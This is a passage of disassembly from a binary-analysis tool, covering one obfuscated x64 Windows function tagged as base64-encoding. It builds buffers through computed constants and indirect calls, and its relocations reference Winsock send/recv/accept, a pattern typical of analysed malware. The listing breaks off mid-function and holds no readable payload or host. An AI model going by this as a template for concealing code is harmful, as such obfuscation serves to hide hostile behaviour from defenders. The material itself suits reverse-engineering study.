Function at 0x1400332b0
Capabilities:
Encode data using base64

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], 0xfffffffffffffffe
mov qword [rbp + 0xa8], r9
mov qword [rbp - 0x80], r8
mov qword [rbp - 0x60], rdx
mov qword [rbp - 0x40], rcx
mov eax, dword [0x1402920c4]
mov ecx, dword [0x1402920c8]
shrd ecx, eax, 9
xor ecx, 0xc1c6c72f
mov eax, ecx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x38], rsp
imul eax, dword [0x1402920cc], 0x7e22187f
imul ecx, dword [0x1402920d0], 0xf1a061e4
add eax, ecx
add eax, 0x944a7dfd
shl rax, 4
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, dword [0x1402920d4]
mov ecx, dword [0x1402920d8]
shrd ecx, eax, 1
xor ecx, 0xc6b9f6d3
mov eax, ecx
shl rax, 4
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, dword [0x1402920dc]
mov ecx, dword [0x1402920e0]
shrd ecx, eax, 0x10
xor ecx, 0x5447d123
mov eax, ecx
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, dword [0x1402920e4]
mov ecx, dword [0x1402920e8]
shrd ecx, eax, 0xd
xor ecx, 0x81214821
mov eax, ecx
shl rax, 4
call fcn.1401e2600
sub rsp, rax
mov rdi, rsp
mov eax, dword [0x1402920ec]
mov ecx, dword [0x1402920f0]
shrd ecx, eax, 4
xor ecx, 0x12caa867
mov eax, ecx
lea rax, [rax*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1401e2600
sub rsp, rax
mov rsi, rsp
mov eax, dword [0x1402920f4]
mov ecx, dword [0x1402920f8]
shrd ecx, eax, 6
xor ecx, 0xa11bfe34
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov r12, rsp
imul eax, dword [0x1402920fc], 0xc2addd96
mov qword [rbp + 0x70], r12
imul ecx, dword [0x140292100], 0x67346fb3
add eax, ecx
add eax, 0xc5353c40
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov r13, rsp
imul eax, dword [0x140292104], 0x2482fe7c
imul ecx, dword [0x140292108], 0xe90f15dd
add eax, ecx
add eax, 0xa9d86c29
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0xc0], rsp
mov eax, dword [0x14029210c]
mov ecx, dword [0x140292110]
shrd ecx, eax, 6
xor ecx, 0x50b816b2
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x68], rsp
imul eax, dword [0x140292114], 0x5814f66
imul ecx, dword [0x140292118], 0xa9f266e
add eax, ecx
add eax, 0xa68dacf3
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x60], rsp
mov eax, dword [0x14029211c]
mov ecx, dword [0x140292120]
shrd ecx, eax, 1
xor ecx, 0x911d3136
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0xa0], rsp
mov eax, dword [0x140292124]
mov ecx, dword [0x140292128]
shrd ecx, eax, 0x1c
xor ecx, 0xa2211f1
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x58], rsp
mov eax, dword [0x14029212c]
mov ecx, dword [0x140292130]
shrd ecx, eax, 0x11
xor ecx, 0xb176592d
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x80], rsp
mov eax, dword [0x140292134]
mov ecx, dword [0x140292138]
shrd ecx, eax, 0x13
xor ecx, 0x5179b148
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x90], rsp
imul eax, dword [0x14029213c], 0xa84d955d
imul ecx, dword [0x140292140], 0x76d20177
add eax, ecx
add eax, 0x4daef8ec
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x88], rsp
mov eax, dword [0x140292144]
mov ecx, dword [0x140292148]
shrd ecx, eax, 0xb
xor ecx, 0x3f21590e
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x98], rsp
imul eax, dword [0x14029214c], 0x9a34734d
imul ecx, dword [0x140292150], 0xb4cb10d8
add eax, ecx
add eax, 0xc1eb58aa
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0xc8], rsp
imul eax, dword [0x140292154], 0x2e61b449
imul ecx, dword [0x140292158], 0x8a89ddbb
add eax, ecx
add eax, 0x1a244bc2
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0xb8], rsp
imul eax, dword [0x14029215c], 0xa8b99d5
imul ecx, dword [0x140292160], 0x1b7a6c6f
add eax, ecx
add eax, 0xc08de65b
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0xb0], rsp
imul eax, dword [0x140292164], 0x79cc071
imul ecx, dword [0x140292168], 0xa68596bd
add eax, ecx
add eax, 0x5947d53a
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x30], rsp
imul eax, dword [0x14029216c], 0x9b7d9b89
imul ecx, dword [0x140292170], 0xe6a21290
add eax, ecx
add eax, 0x5ae9a6a0
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x28], rsp
imul eax, dword [0x140292174], 0xe93d14d8
imul ecx, dword [0x140292178], 0xbab8c95
add eax, ecx
add eax, 0x3a51d3b9
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, dword [0x14029217c]
mov ecx, dword [0x140292180]
shrd ecx, eax, 0x1f
xor ecx, 0xf2386937
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x20], rsp
imul eax, dword [0x140292184], 0xd2dd3111
imul ecx, dword [0x140292188], 0x5e8552aa
add eax, ecx
add eax, 0x5e79c946
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x78], rsp
mov eax, dword [0x14029218c]
mov ecx, dword [0x140292190]
shrd ecx, eax, 0x17
xor ecx, 0x897c419c
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, dword [0x140292194]
mov ecx, dword [0x140292198]
shrd ecx, eax, 8
xor ecx, 0x1a7e6ba0
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, dword [0x14029219c]
mov ecx, dword [0x1402921a0]
shrd ecx, eax, 0x12
xor ecx, 0xa65f7b95
mov eax, ecx
shl rax, 4
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x48], rsp
imul eax, dword [0x1402921a4], 0x781ca51f
imul ecx, dword [0x1402921a8], 0x4590c7e3
add eax, ecx
add eax, 0x9cfe0adc
imul rax, rax, 0x110
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x38], rsp
imul eax, dword [0x1402921ac], 0x85b30fed
imul ecx, dword [0x1402921b0], 0x1e9b4cb4
add eax, ecx
add eax, 0x22ef910d
lea rax, [rax + rax*2]
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x20], rsp
imul eax, dword [0x1402921b4], 0xdd2b8353
imul ecx, dword [0x1402921b8], 0x702d0207
add eax, ecx
add eax, 0xb1343066
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, dword [0x1402921bc]
mov ecx, dword [0x1402921c0]
shrd ecx, eax, 0x18
xor ecx, 0x2b2ddde2
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 0x10], rsp
imul eax, dword [0x1402921c4], 0x2751c61f
imul ecx, dword [0x1402921c8], 0xfe69e94b
add eax, ecx
add eax, 0x86ea6b3c
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x40], rsp
mov eax, dword [0x1402921cc]
mov ecx, dword [0x1402921d0]
shrd ecx, eax, 0x1f
xor ecx, 0x4221b824
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp], rsp
imul eax, dword [0x1402921d4], 0x695261f6
imul ecx, dword [0x1402921d8], 0x111f9247
add eax, ecx
add eax, 0x2445a437
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp - 8], rsp
mov eax, dword [0x1402921dc]
mov ecx, dword [0x1402921e0]
shrd ecx, eax, 0xa
xor ecx, 0x8f1157c6
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 8], rsp
mov eax, dword [0x1402921e4]
mov ecx, dword [0x1402921e8]
shrd ecx, eax, 0xb
xor ecx, 0xcf7257c6
mov eax, ecx
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x18], rsp
imul eax, dword [0x1402921ec], 0x3fae243
imul ecx, dword [0x1402921f0], 0x88e2ba13
add eax, ecx
add eax, 0x890f40fd
shl rax, 5
call fcn.1401e2600
sub rsp, rax
mov qword [rbp + 0x10], rsp
movabs r15, 0xca54c307a36effe7
mov rax, qword [0x1402eff20]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e224]
mov eax, dword [rcx + rax*4]
mov dword [rsi], eax
mov rax, qword [0x1402eff28]
add rax, r15
sub rsp, 0x20
mov rcx, rdi
mov rdx, rsi
call rax
add rsp, 0x20
mov esi, eax
mov rax, qword [0x1402eff30]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [0x1402921f4]
mov r14d, dword [0x1402921f8]
shrd r14d, eax, 0x16
xor r14d, 0x32375217
mov rax, qword [0x1402eff38]
add rax, r15
sub rsp, 0x20
lea rbx, [0x1404a5b18]
lea rdx, [0x140231b10]
mov rcx, rbx
call rax
add rsp, 0x20
cmp esi, r14d
cmove rdi, rbx
mov rax, qword [0x1402eff40]
add rax, r15
sub rsp, 0x20
mov rcx, r12
mov rdx, rdi
call rax
add rsp, 0x20
nop
sub rsp, 0x20
mov rcx, r13
call fcn.140032880
add rsp, 0x20
nop
nop
mov qword [rbp + 0x48], r13
mov rcx, qword [rbp + 0xc0]
sub rsp, 0x20
mov qword [rbp + 0x50], rcx
call fcn.140032b50
add rsp, 0x20
nop
mov r14, qword [rbp + 0xb0]
mov rax, qword [0x1402eff48]
movabs rcx, 0xca54c307a36effe7
add rax, rcx
sub rsp, 0x20
lea rsi, [0x1404a5b90]
lea rdx, [0x140231cbe]
mov rcx, rsi
call rax
add rsp, 0x20
nop
sub rsp, 0x20
mov rcx, r14
mov rdx, rsi
mov r8, qword [rbp + 0xa8]
call fcn.14002fcd0
add rsp, 0x20
nop
mov rsi, qword [r14 + 0x10]
mov rbx, qword [r14 + 0x18]
mov rdi, rbx
sub rdi, rsi
mov rax, qword [0x1402eff50]
movabs r12, 0xca54c307a36effe7
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
cmp rdi, qword [rcx + rax*8]
mov qword [rbp + 0x78], r14
jae 0x140033b7c
mov rax, qword [0x1402eff78]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5b4c]
lea rdx, [0x140231bd5]
mov rcx, rsi
call rax
add rsp, 0x20
movabs rax, 0x365eb27fa9146012
imul rax, qword [0x140292200]
movabs rcx, 0x40242ecc7c9fc311
imul rcx, qword [0x140292208]
add rcx, rax
movabs rdx, 0xf30ceb6f45bde91a
add rdx, rcx
movabs rax, 0x6a8b827472824ebf
imul rax, qword [0x140292210]
movabs rcx, 0xf215f4283de86a0b
imul rcx, qword [0x140292218]
add rcx, rax
movabs rax, 0x6c5149432db8907e
add rax, rcx
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
jmp 0x140033c28
mov rax, qword [0x1402eff58]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov qword [r14 + 0x10], rdi
mov rax, qword [0x1402eff60]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r14
cmp rbx, qword [rdx + rcx*8]
jbe 0x140033bce
mov rax, qword [r14]
mov rbx, rax
mov rax, qword [0x1402eff68]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e288]
movzx eax, word [rcx + rax*2]
mov word [rbx + rsi], ax
mov rax, qword [0x1402eff70]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402921fc]
movzx ecx, byte [0x1402921fd]
shr cl, 3
shl al, 5
or al, cl
xor al, 0xfb
mov byte [rbx + rdi], al
mov rsi, r14
mov r13, qword [rbp + 0xb8]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r13 + 0x10], xmm1
movups xmmword [r13], xmm0
mov rax, qword [0x1402eff80]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0xfb21a1af8f06f117
imul rax, qword [0x140292220]
movabs rcx, 0x922730c370afc115
imul rcx, qword [0x140292228]
add rcx, rax
movabs rax, 0x676bca65ced5ae44
add rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402eff88]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402eff90]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WS2_32.dll_ioctlsocket]
movzx ecx, byte [0x140292231]
imul eax, eax, 0xffffffa7
imul ecx, ecx, 0xffffffaa
add cl, al
add cl, 0x6a
mov byte [rsi], cl
mov rsi, qword [r13 + 0x10]
mov rbx, qword [r13 + 0x18]
mov rdi, rbx
sub rdi, rsi
mov rax, qword [0x1402eff98]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohl
cmp rdi, qword [rcx + rax*8]
mov qword [rbp + 0xc0], r13
jae 0x140033da7
mov rax, qword [0x1402effb0]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5b7c]
lea rdx, [0x140231c7f]
mov rcx, rsi
call rax
add rsp, 0x20
mov rax, qword [0x140292238]
mov rcx, qword [0x140292240]
shrd rcx, rax, 0x39
mov rax, qword [0x140292248]
mov r8, qword [0x140292250]
shrd r8, rax, 0x19
movabs rdx, 0x6f483d4031feb9c1
xor rdx, rcx
movabs rax, 0xb20f7f4d670bc733
xor rax, r8
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, r13
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
mov r15, qword [rbp + 0x70]
jmp 0x140033e6d
mov rax, qword [0x1402effa0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohl
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov qword [r13 + 0x10], rdi
mov rax, qword [0x1402effa8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r13
cmp rbx, qword [rdx + rcx*8]
mov r15, qword [rbp + 0x70]
jbe 0x140033dfe
mov rax, qword [r13]
mov rbx, rax
mov rax, qword [0x1402effb0]
add rax, r12
sub rsp, 0x20
lea rcx, [0x1404a5b7c]
lea rdx, [0x140231c7f]
call rax
add rsp, 0x20
mov rax, qword [0x1404a5b7c]
mov qword [rbx + rsi], rax
mov rax, qword [0x1404a5b82]
mov qword [rbx + rsi + 6], rax
mov rax, qword [0x1402effb8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_200]
movzx ecx, byte [0x140292233]
imul eax, eax, 0x46
imul ecx, ecx, 0xffffff9e
add cl, al
add cl, 0xc0
mov byte [rbx + rdi], cl
mov rsi, r13
mov rax, qword [rbp + 0xc8]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp + 0xa8], rax
movups xmmword [rax], xmm0
mov rax, qword [0x1402effc0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0xc6da30424de3cf68
imul rax, qword [0x140292258]
movabs rcx, 0x4c62dfb168ea4698
imul rcx, qword [0x140292260]
add rcx, rax
movabs rax, 0xb0820f9d3892a630
add rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402effc8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402effd0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292268]
movzx ecx, byte [0x140292269]
imul eax, eax, 0xffffffb2
add ecx, ecx
lea ecx, [rcx + rcx*2]
add cl, al
add cl, 0xb6
mov byte [rsi], cl
mov rsi, qword [r15 + 0x10]
mov rdi, qword [r15 + 0x18]
mov rax, qword [0x1402effd8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov r14, r15
cmp rdi, qword [rcx + rax*8]
jbe 0x140033f5c
mov r14, qword [r15]
mov rdi, qword [rbp + 0xa8]
mov rbx, qword [rdi + 0x10]
mov r15, qword [rdi + 0x18]
mov rax, r15
sub rax, rbx
cmp rax, rsi
jae 0x140033f9b
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rsi
mov rcx, rdi
mov rdx, rsi
mov r9, r14
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
jmp 0x14003402a
lea rcx, [rbx + rsi]
mov qword [rbp + 0xb0], rcx
mov qword [rdi + 0x10], rcx
mov rax, qword [0x1402effe0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, rdi
cmp r15, qword [rdx + rcx*8]
jbe 0x140033fd4
mov rax, qword [rdi]
mov r15, rax
mov rcx, rbx
add rcx, rax
sub rsp, 0x20
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
add rsp, 0x20
mov rax, qword [0x1402effe8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x14029226a]
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_30]
shr cl, 5
shl al, 3
or al, cl
xor al, 0x58
mov rcx, qword [rbp + 0xb0]
mov byte [r15 + rcx], al
mov rsi, rdi
mov r14, qword [rbp + 0x98]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [0x1402efff0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x140292270]
mov rcx, qword [0x140292278]
shrd rcx, rax, 0xc
movabs rax, 0xb9e548121bded7a2
xor rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402efff8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f0000]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292280]
movzx ecx, byte [0x140292281]
imul eax, eax, 0xffffffde
imul ecx, ecx, 0x4b
add cl, al
add cl, 0x35
mov byte [rsi], cl
mov rsi, qword [r14 + 0x10]
mov rbx, qword [r14 + 0x18]
mov rdi, rbx
sub rdi, rsi
mov rax, qword [0x1402f0008]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
cmp rdi, qword [rcx + rax*8]
mov qword [rbp + 0xb0], r14
jae 0x1400341b8
mov rax, qword [0x1402eff78]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5b4c]
lea rdx, [0x140231bd5]
mov rcx, rsi
call rax
add rsp, 0x20
movabs rax, 0x9b1372ab7de83231
imul rax, qword [0x140292288]
movabs rcx, 0x4690bdcb3feee581
imul rcx, qword [0x140292290]
add rcx, rax
movabs rdx, 0xa36b64bb5ba4dd20
add rdx, rcx
movabs rax, 0x6971502959b141ba
imul rax, qword [0x140292298]
movabs rcx, 0x5fe37a8baa60f9fe
imul rcx, qword [0x1402922a0]
add rcx, rax
movabs rax, 0x742ac36d95523dc6
add rax, rcx
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
jmp 0x140034264
mov rax, qword [0x1402f0010]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.OLEAUT32.dll_SysReAllocString
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov qword [r14 + 0x10], rdi
mov rax, qword [0x1402f0018]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r14
cmp rbx, qword [rdx + rcx*8]
jbe 0x14003420a
mov rax, qword [r14]
mov rbx, rax
mov rax, qword [0x1402f0020]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x14023e3e8]
movzx eax, word [rcx + rax*2]
mov word [rbx + rsi], ax
mov rax, qword [0x1402f0028]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292282]
movzx ecx, byte [0x140292283]
shr cl, 5
shl al, 3
or al, cl
xor al, 0x62
mov byte [rbx + rdi], al
mov rsi, r14
mov r14, qword [rbp + 0x88]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [0x1402f0030]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0x5c0e0490e7640e82
imul rax, qword [0x1402922a8]
movabs rcx, 0x8d37a050a56932b7
imul rcx, qword [0x1402922b0]
add rcx, rax
movabs rax, 0xc72a5f4f5e853197
add rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f0038]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f0040]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402922b8]
movzx ecx, byte [0x1402922b9]
imul eax, eax, 0x68
mov edx, ecx
add ecx, ecx
shl edx, 4
sub edx, ecx
mov ecx, edx
add cl, al
add cl, 0xee
mov byte [rsi], cl
mov rsi, qword [r14 + 0x10]
mov rbx, qword [r14 + 0x18]
mov rdi, rbx
sub rdi, rsi
mov rax, qword [0x1402f0048]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_recv
cmp rdi, qword [rcx + rax*8]
mov qword [rbp + 0x98], r14
jae 0x1400343fa
mov rax, qword [0x1402f0060]
add rax, r12
sub rsp, 0x20
lea rsi, [0x1404a5b64]
lea rdx, [0x140231c3f]
mov rcx, rsi
call rax
add rsp, 0x20
mov rax, qword [0x1402922c0]
mov rcx, qword [0x1402922c8]
shrd rcx, rax, 0x3e
movabs rdx, 0xd05e574cd46b0e35
xor rdx, rcx
movabs rax, 0xee9484c9f2096112
imul rax, qword [0x1402922d0]
movabs rcx, 0x7069e51ecf20e012
imul rcx, qword [0x1402922d8]
add rcx, rax
movabs rax, 0x7d661fd2c321bc24
add rax, rcx
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r9, rsi
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
jmp 0x1400344b1
mov rax, qword [0x1402f0050]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_recv
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov qword [r14 + 0x10], rdi
mov rax, qword [0x1402f0058]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r14
cmp rbx, qword [rdx + rcx*8]
jbe 0x14003444c
mov rax, qword [r14]
mov rbx, rax
mov rax, qword [0x1402f0060]
add rax, r12
sub rsp, 0x20
lea rcx, [0x1404a5b64]
lea rdx, [0x140231c3f]
call rax
add rsp, 0x20
movups xmm0, xmmword [0x1404a5b64]
movups xmmword [rbx + rsi], xmm0
mov rax, qword [0x1402f0068]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402922ba]
movzx ecx, byte [0x1402922bb]
imul eax, eax, 0xffffff9c
lea ecx, [rcx + rcx*2]
neg ecx
add cl, al
add cl, 0xdd
mov byte [rbx + rdi], cl
mov rsi, r14
mov r13, qword [rbp + 0x90]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r13 + 0x10], xmm1
movups xmmword [r13], xmm0
mov rax, qword [0x1402f0070]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0xb42d3716172b8189
imul rax, qword [0x1402922e0]
movabs rcx, 0x7f8bcff1ced2c75e
imul rcx, qword [0x1402922e8]
add rcx, rax
movabs rax, 0x85747b8b5fa53e73
add rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f0078]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f0080]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402922f0]
movzx ecx, byte [reloc.WS2_32.dll_send]
imul eax, eax, 0x68
imul ecx, ecx, 0xffffffde
add cl, al
add cl, 0x36
mov byte [rsi], cl
mov rbx, qword [rbp + 0x48]
mov rsi, qword [rbx + 0x10]
mov rdi, qword [rbx + 0x18]
mov rax, qword [0x1402f0088]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov r14, rbx
cmp rdi, qword [rcx + rax*8]
jbe 0x14003459e
mov r14, qword [rbx]
mov rbx, qword [r13 + 0x10]
mov r15, qword [r13 + 0x18]
mov rax, r15
sub rax, rbx
cmp rax, rsi
mov qword [rbp + 0xb8], r13
jae 0x1400345dd
nop
sub rsp, 0x30
mov qword [rsp + 0x20], rsi
mov rcx, r13
mov rdx, rsi
mov r9, r14
call fcn.140056eb0
add rsp, 0x30
nop
mov rsi, rax
jmp 0x140034662
lea rdi, [rbx + rsi]
mov qword [r13 + 0x10], rdi
mov rax, qword [0x1402f0090]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movsxd rcx, eax
lea rdx, reloc.WS2_32.dll_ntohs
mov rax, r13
cmp r15, qword [rdx + rcx*8]
jbe 0x140034610
mov rax, qword [r13]
mov r15, rax
mov rcx, rbx
add rcx, rax
sub rsp, 0x20
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
add rsp, 0x20
mov rax, qword [0x1402f0098]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x1402922f2]
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_60]
lea eax, [rax + rax*2]
neg eax
imul ecx, ecx, 0xffffffb6
add cl, al
add cl, 0xe4
mov byte [r15 + rdi], cl
mov rsi, r13
mov r14, qword [rbp + 0x80]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [0x1402f00a0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [0x1402922f8]
mov rcx, qword [0x140292300]
shrd rcx, rax, 0x19
movabs rax, 0x9902ac0229db2f26
xor rax, rcx
mov qword [rsi + 0x10], rax
mov rax, qword [0x1402f00a8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1402f00b0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.WS2_32.dll_accept]
movzx ecx, byte [0x140292309]
imul eax, eax, 0xffffff91
mov edx, ecx
shl edx, 6
sub edx, ecx
mov ecx, edx
add cl, al
add cl, 0xf
mov byte [rsi], cl
mov rsi, qword [r14 + 0x10]
mov rbx, qword [r14 + 0x18]
